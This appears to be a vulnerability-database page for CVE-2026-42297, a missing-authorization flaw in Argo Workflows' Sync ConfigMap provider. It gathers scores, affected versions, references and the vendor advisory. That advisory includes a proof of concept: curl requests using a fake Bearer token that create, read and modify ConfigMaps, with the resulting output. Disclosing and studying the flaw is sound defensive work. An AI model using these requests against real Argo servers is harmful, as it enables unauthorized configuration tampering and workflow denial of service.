CVE-2026-42297
highpriority · track · 33OT risk · elevatedEPSS 0.005 · 44 %ileEUUSEPSS · scored 2026-10-27
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 5.8–8.5
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (7)
Products and version ranges known to be affected.
- Go github.com/argoproj/argo-workflows/v2all versionsosvUSpkg:golang/github.com/argoproj/argo-workflows/v2
- Go github.com/argoproj/argo-workflows/v3all versionsosvUSpkg:golang/github.com/argoproj/argo-workflows/v3
- Go github.com/argoproj/argo-workflows/v44.0.0 → 4.0.5osvUSpkg:golang/github.com/argoproj/argo-workflows/v4
advisories (3)
Vendor and ecosystem advisories describing this.
- GHSA-xchc-cqwg-g76qArgo has Missing Authorization in its Sync ConfigMap Provider2026-05-04ghsa · osvUS
### Summary The Sync Service's ConfigMap-backed provider (`server/sync/sync_cm.go`) performs **zero authorization checks** on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. ### Details The ConfigMap-backed provider (`server/sync/sync_cm.go`) has no `auth.CanI` checks: ```go // sync_cm.go — UNPROTECTED func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) { // NO auth.CanI check kubeClient := auth.GetKubeClient(ctx) configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace) // ... directly creates/updates ConfigMaps } ``` - `server/sync/sync_cm.go` — lines 23-155 - All four SyncService endpoints: `CreateSyncLimit`, `GetSyncLimit`, `UpdateSyncLimit`, `DeleteSyncLimit` ### PoC ### Prerequisites - Argo Server running with `--auth-mode=server` - Port-forward: `kubectl port-forward -n argo svc/argo-server 2746:2746` ### Step 1: Create Sync Limit (Fake Token) ```bash curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}' ``` **Result:** `{"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}` Verify ConfigMap was created in Kubernetes: ```bash kubectl get configmap test-sync -n default ``` ``` NAME DATA AGE test-sync 1 74s ``` ### Step 2: Read Sync Limit (Fake Token) ```bash curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \ -H "Authorization: Bearer fake-token" ``` **Result:** `{"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}` ### Step 3: Update Sync Limit (Fake Token) ```bash curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}' ``` **Result:** `{"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}` Verify the ConfigMap was actually modified: ```bash kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}' ``` ``` 999 ``` ### Impact An attacker with network access to the Argo Server can: 1. **Denial of Service** — Set sync limits to `0` or `1`, blocking all parallel workflow execution 2. **Workflow Disruption** — Modify existing sync limits to break running workflows 3. **Information Disclosure** — Read ConfigMap data that may contain sensitive configuration 4. **Arbitrary ConfigMap Manipulation** — Create/delete ConfigMaps in any namespace accessible to the server's service account ## Related CVEs - **CVE-2026-28229** (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing `auth.CanI` check) - **CVE-2024-53862** (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern
- BIT-argo-workflows-2026-42297Argo Workflows Is Missing Authorization in Sync ConfigMap Provider2026-05-12vendor · osvUS
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.
- GO-2026-5751Argo has Missing Authorization in its Sync ConfigMap Provider in github.com/argoproj/argo-workflows2026-06-25vendor · osvUS
Argo has Missing Authorization in its Sync ConfigMap Provider in github.com/argoproj/argo-workflows
also known as (6)
Other names and identifiers for this entity.
- CNNVD-202605-1926cnnvd
- EUVD-2026-28895enisa_euvd
- GHSA-xchc-cqwg-g76qenisa_euvd
- BIT-argo-workflows-2026-42297osv
- GHSA-xchc-cqwg-g76qosv
- GO-2026-5751osv
sources
Which sources assert this record, and when.
references (11)
External citations — patches, advisories, analysis.
- https://github.com/argoproj/argo-workflows/releases/Patchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2026-42297cnnvd
- https://github.com/argoproj/argo-workflows/commit/09fff05e0830c14a5e36cc40597ad84881db1ab6enisa_euvd
- https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5enisa_euvd
- https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xchc-cqwg-g76qenisa_euvd
- https://access.redhat.com/security/cve/CVE-2026-42297nvd
- https://bugzilla.redhat.com/show_bug.cgi?id=2468448nvd
- https://github.com/argoproj/argo-workflows/commit/09fff05e0830c14a5e36cc40597ad84881db1ab6Patchnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan